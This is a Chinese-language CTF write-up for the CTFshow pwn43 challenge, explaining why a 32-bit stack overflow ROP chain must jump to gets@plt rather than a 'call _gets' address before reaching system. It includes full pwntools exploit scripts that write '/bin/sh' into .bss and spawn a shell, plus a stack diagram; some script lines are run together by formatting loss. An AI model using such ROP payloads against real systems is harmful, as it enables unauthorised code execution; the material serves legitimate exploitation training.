当前位置: 首页 > ds >正文

从CTFshow-pwn入门-pwn43理解栈溢出到底跳转call还是plt

pwn43

之前的栈溢出的题目中都是跳转到 call function 指令再通过 plt 跳转到函数真实地址,但是这道题的第一个函数必须用 plt 地址,那什么时候能用 call function 地址、什么时候必须要用 plt 地址呢?

checkse

ida 反编译

这里是栈溢出漏洞,有 system 函数但是没有/bin/shsh

Shift + F7打开段表,发现.bss段可写

BSS段(Block Started by Symbol)是程序内存布局中的一个重要数据段,主要用于存储未初始化的全局变量和静态变量

这里bss段可写,我们可以利用gets()/bin/sh存进bss

这里 buf2 就可以用来存放/bin/shbuf2 = 0x0804B060

我们来构造 payload,对照栈帧看

payload = b'a'*(0x6C+4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)栈布局(从低地址到高地址):
+----------------+
|  缓冲区       	 | -> b'a'*(0x6C)      [108字节的填充]
+----------------+
|  旧ebp保存值  	 | -> b'a'*4           [offset中的+4部分]
+----------------+
|  gets_addr     | -> 覆盖的返回地址    [程序从这里开始执行]
+----------------+
|  system_addr   | -> gets的返回地址    [gets执行完返回到这里]
+----------------+
|  buf2_addr     | -> gets的参数1      [写入位置]
+----------------+
|  buf2_addr     | -> system的参数1    [/bin/sh字符串地址]
+----------------+

记录systemgets的地址

gets = 0x080487A1system = 0x08048779

# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'i386' ,os = 'linux',log_level = 'debug')
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28242)
elf = ELF('./pwn')system = 0x08048779
gets = 0x080487A1
buf2 = 0x0804B060payload = b'a'*(0x6C+4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)io.sendline(payload)
io.interactive()

但我们发先这里并不能利用成功,gdb 调试找一下问题

我们来看一下call _system的流程

; ==================== 调用 system 函数的完整流程 ====================; 1. 源代码中的调用
call    _system                 ; 源代码中的调用,参数已在栈上准备好
; 此时栈布局:
; ESP -> [返回地址]  (call指令压入)
;        [参数]      (command字符串地址); 2. call 指令的执行
; CPU 自动执行:
push    eip + 5                 ; 压入返回地址(下一条指令地址),ESP减少4字节
jmp     _system                 ; 跳转到_system标签; 3. _system thunk (PLT条目)
_system proc near
command= dword ptr  4           ; 参数在[ESP+4]的位置(因为返回地址占4字节)jmp     ds:off_804B018      ; 跳转到GOT表中存储的system地址; 第一次调用:跳转到解析器; 后续调用:直接跳转到libc的system
_system endp; 4. 跳转到真正的system函数(libc中)
; 在libc中的真实system函数

第三部分可以看到约定第一个参数的位置在esp + 4

但实际上esp + 4的位置放着 system 函数的地址,导致 get 并没有把/bin/sh读进去

call会把下一个地址作为返回地址压入栈上,这样导致了我们精心构造的 payload 被打乱,导致参数错误

这里的解决办法是用 gets@plt 直接跳转到 gets 函数,而不再用call _gets,这样省去了返回地址压栈过程,确保我们的 payload 有效

找到gets_plt = 0x08048420

# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'i386' ,os = 'linux',log_level = 'debug')
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28207)
elf = ELF('./pwn')system = 0x08048779
gets_plt = 0x08048420
buf2 = 0x0804B060payload = b'a'*(0x6C+4) + p32(gets_plt) + p32(system) + p32(buf2) + p32(buf2)io.sendline(payload)
io.sendline(payload)
io.interactive()

拿到 flag

小结

之前我们做的题目都没有在 payload 里跳转两个函数,单个函数跳转到call function时,压入返回地址,参数自然被挤到了esp + 4,成功利用拿到 shell 后也不需要管返回地址是什么了

但是这道题先跳转到 gets,在跳转到 system,需要把 system 控制在栈顶作为 gets 函数的返回地址,就不能在让 call 压入返回地址了,所以这里一定要用gets@plt,至于后面的 system,已经获取了权限就不用管他返回地址是哪里了

总而言之:一次劫持、最后一次劫持可以不用 plt 用 call
PS:养成习惯,用 plt 构造ROP链就好了


http://www.xdnf.cn/news/19146.html

相关文章:

  • 【Word】用 Python 轻松实现 Word 文档对比并生成可视化 HTML 报告
  • 深入 OpenHarmony 内核:设备待机管理模块的休眠调度与资源节能技术
  • 【SpringBoot 版本升级整合Redis异常解决】Unable to connect to 127.0.0.1:6379
  • 5G核心网的架构和功能详解
  • 浏览器访问 ASP.NET Core wwwroot 目录下静态资源的底层实现
  • 新手向:Python编写简易翻译工具
  • 实时标注+硬件加速 | Bandicam 8.2 屏幕录制软件特色功能
  • 局域网共享访问各种报错全记录:从「能 ping 不能进」到「IP/名称差异」一次说清
  • OpenAI重组受阻:微软“锁链”与生态博弈
  • 从 WPF 到 Avalonia 的迁移系列实战篇3:ResourceDictionary资源与样式的差异与迁移技巧
  • 使用 httpsok 工具全面排查网站安全配置
  • @HAProxy 介绍部署使用
  • Copilot、Cursor、Trae、ChatGPT 的“四件套”场景选择表
  • 5G相对于4G网络的优化对比
  • 卷积神经网络实现mnist手写数字集识别案例
  • 三、计算机网络与分布式系统(上)
  • Linux DNS配置文件resolv.conf简介
  • Centos 8 磁盘扩展xfs文件系统 (LVM)
  • 云计算学习100天-第32天
  • 1-ATSAMV71Q21
  • 大模型后训练——Online-RL实践
  • DistributedLock 实现.Net分布式锁
  • 智能养花谁更优?WebIDE PLOY技术与装置的结合及实践价值 —— 精准养护的赋能路径
  • 北斗导航 | 工信部印发《关于优化业务准入促进卫星通信产业发展的指导意见》解析
  • MySQL数据库精研之旅第十三期:吃透用户与权限管理,筑牢数据库安全第一道防线
  • 【MySQL数据库】存储引擎 学习记录
  • 高光谱成像在食品质量和安全检测中的应用
  • 【C++游记】子承父业——乃继承也
  • [p2p-Magnet] 队列与处理器 | DHT路由表
  • iOS文件管理在uni-app开发中的实战应用,多工具解决